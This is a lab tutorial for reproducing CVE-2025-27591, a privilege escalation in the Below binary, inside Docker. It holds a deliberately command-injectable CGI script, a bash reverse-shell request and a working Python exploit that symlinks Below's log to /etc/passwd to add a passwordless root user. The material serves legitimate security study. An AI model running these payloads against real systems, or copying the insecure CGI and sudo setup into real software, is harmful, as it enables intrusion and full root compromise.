Introduction

This guide demonstrates how to set up a vulnerable Docker lab environment to study CVE-2025-27591, a privilege escalation vulnerability in the Below binary. The lab combines a vulnerable Apache server with a CGI script as a controlled entry point.

The lab is intended for educational purposes only, and it provides an isolated environment to practice exploitation techniques, reverse shells, and privilege escalation without affecting your host system.

By the end of this guide, you will have:

  • A running Docker container simulating a vulnerable server
  • An entry point through a CGI vulnerability
  • A working exploit to escalate privileges via the Below binary

Lab Setup

1. Download the Dockerfile

Download the lab Dockerfile (included at the bottom of this document). This Dockerfile builds a container with:

  • A vulnerable Apache server
  • A CGI script with command injection
  • The Below binary compiled from source
  • World-writable log directories for CVE-2025-27591 exploitation

2. Build the Docker Image

Run the following command to build the Docker image:

sudo docker build -t cve_2025_27591 .
Docker build output

This command will take a few minutes as it compiles the Below binary from source.


3. Run the Container

Start the container with elevated privileges and host networking:

sudo docker run -d --rm --name cve_2025_27591_container --privileged --network host --tmpfs /run --tmpfs /run/lock cve_2025_27591
Docker run container

This creates a fully isolated lab with root-equivalent access to the container.


4. Access the Vulnerable Apache Server

Inside the container, Apache runs on port 80 and exposes the vulnerable CGI script. This script serves as our entry point for executing commands.

Apache server running

5. Stop and Clean the Container

Once finished with the lab, stop the container and remove the image to clean up:

sudo docker stop cve_2025_27591_container && sudo docker rmi cve_2025_27591

Exploitation

The exploitation process has two main steps:

  1. Gain initial access via the CGI vulnerability.
  2. Escalate privileges using the Below binary exploit.

Step 1: Netcat Listener

Start a listener on your host machine to catch the reverse shell:

nc -nvlp 1234
Netcat listener

Step 2: Trigger Reverse Shell

Send a request to the vulnerable CGI script to spawn a reverse shell:

http://localhost/cgi-bin/vuln.sh?cmd=bash -i >& /dev/tcp/127.0.0.1/1234 0>&1
Reverse shell via CGI

Check your netcat listener; you now have a shell as the www-data user inside the container.


Step 3: Identify Users

Check which users exist on the system:

cat /etc/passwd
List users

Notice the presence of another user, user_1, who may have additional privileges.


Step 4: Switch User and Check Privileges

Switch to user_1 and list sudo privileges:

su user_1
sudo -l
User_1 privileges

user_1 can execute the Below binary with NOPASSWD, which is critical for privilege escalation.


Step 5: Transfer the Exploit

Start a Python HTTP server to host the exploit:

python3 -m http.server 4444

Download the exploit inside the container:

wget http://localhost:4444/CVE_2025_27591.py
Fetching exploit

Step 6: Execute the Exploit

Run the Python exploit:

python3 CVE_2025_27591.py
Running exploit

This will leverage the Below binary vulnerability and spawn a root shell inside the container.


Step 8: Clean Up

After completing the lab:

sudo docker stop cve_2025_27591_container && sudo docker rmi cve_2025_27591

Notes

  • The lab is isolated and safe to experiment with.
  • The CGI script is vulnerable by design to demonstrate exploitation concepts.
  • Always practice responsible disclosure if you discover vulnerabilities outside this lab.

Ressources

Dockerfile

# Builder stage: Rust toolchain
FROM rust:1.76-slim AS builder

# Install system dependencies for building below (libbpf, LLVM, etc.)
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
      build-essential git pkg-config libssl-dev ca-certificates \
      libelf-dev zlib1g-dev clang llvm && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /opt/below

# Clone and select version
RUN git clone https://github.com/facebookincubator/below.git /opt/below
RUN cd /opt/below && git checkout v0.8.1

# Install LLVM/Clang 15 for eBPF builds
RUN apt-get update && \
    apt-get install -y clang-15 llvm-15 && \
    update-alternatives --install /usr/bin/clang clang /usr/bin/clang-15 100 && \
    update-alternatives --install /usr/bin/llvm-config llvm-config /usr/bin/llvm-config-15 100

RUN rustup component add rustfmt

# Build Rust binary in release mode
RUN cd /opt/below && cargo build --release



# Runtime stage
FROM debian:bookworm
ENV DEBIAN_FRONTEND=noninteractive

# Install runtime tools + Apache + CGI
RUN apt-get update && \
    apt-get install -y \
      apt-utils ca-certificates gnupg wget curl nano vim less man-db \
      iproute2 net-tools iputils-ping dnsutils python3 python3-pip python3-venv \
      bash sudo apache2 apache2-utils

# Enable Apache CGI
RUN a2enmod cgi

# Create world-writable CGI folder (intentional vulnerability)
RUN mkdir -p /usr/lib/cgi-bin && chmod -R 777 /usr/lib/cgi-bin

# Vulnerable CGI script
RUN cat << 'EOF' > /usr/lib/cgi-bin/vuln.sh
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cmd="${QUERY_STRING#cmd=}"
cmd=$(echo -e "$(sed 's/+/ /g;s/%\(..\)/\\x\1/g;' <<< "$cmd")")
echo "[Executing] $cmd"
/bin/bash -c "$cmd"
EOF

RUN chmod 755 /usr/lib/cgi-bin/vuln.sh

# Simple landing page
RUN mkdir -p /var/www/html
RUN cat << 'EOF' > /var/www/html/index.html
<!DOCTYPE html>
<html>
<head><title>Lab Start</title></head>
<body>
    <h1>Vulnerable Lab for CVE‑2025‑27591</h1>
    <p>Start here: http://IP/cgi-bin/vuln.sh?cmd=COMMAND</p>
</body>
</html>
EOF

# Copy built binary
COPY --from=builder /opt/below/target/release/below /usr/local/bin/below

# World-writable log directory (intentional vulnerability)
RUN mkdir -p /var/log/below && chmod 0777 /var/log/below

# Create non‑privileged user
RUN useradd -m -u 1000 -s /bin/bash user_1 && \
    passwd -d user_1 && \
    chown -R user_1:user_1 /home/user_1

ENV HOME=/home/user_1
ENV PATH="/usr/local/bin:${PATH}"

# Allow user_1 to run "below" as root without password (intentional vuln)
RUN deluser user_1 sudo || true
RUN sed -i '/user_1/d' /etc/sudoers && rm -f /etc/sudoers.d/user_1
RUN echo "user_1 ALL=(ALL) NOPASSWD: /usr/local/bin/below" > /etc/sudoers.d/user_1 && \
    chmod 0440 /etc/sudoers.d/user_1

EXPOSE 80

# Start Apache and keep container alive
CMD service apache2 start && tail -f /dev/null

Exploit

#!/usr/bin/env python3
import os
import subprocess
import sys
import pty

B = "/usr/local/bin/below"
D = "/var/log/below"
L = f"{D}/error_root.log"
T = "/tmp/attacker"
P = "attacker::0:0:attacker:/root:/bin/bash\n"

def fail():
    sys.exit(1)

def vulnerable():
    if not os.path.exists(D):
        fail()
    if not (os.stat(D).st_mode & 0o002):
        fail()
    if os.path.exists(L):
        if os.path.islink(L):
            return True
        else:
            os.remove(L)
    try:
        os.symlink("/etc/passwd", L)
        os.remove(L)
        return True
    except:
        fail()

def exploit():
    try:
        with open(T, "w") as f:
            f.write(P)
    except:
        fail()

    if os.path.exists(L):
        os.remove(L)
    try:
        os.symlink("/etc/passwd", L)
    except:
        fail()

    try:
        subprocess.run(["sudo", B, "record"], timeout=40)
    except:
        pass

    try:
        with open(L, "a") as f:
            f.write(P)
    except:
        fail()

    try:
        pty.spawn(["su", "attacker"])
    except:
        fail()

def main():
    if vulnerable():
        exploit()

if __name__ == "__main__":
    main()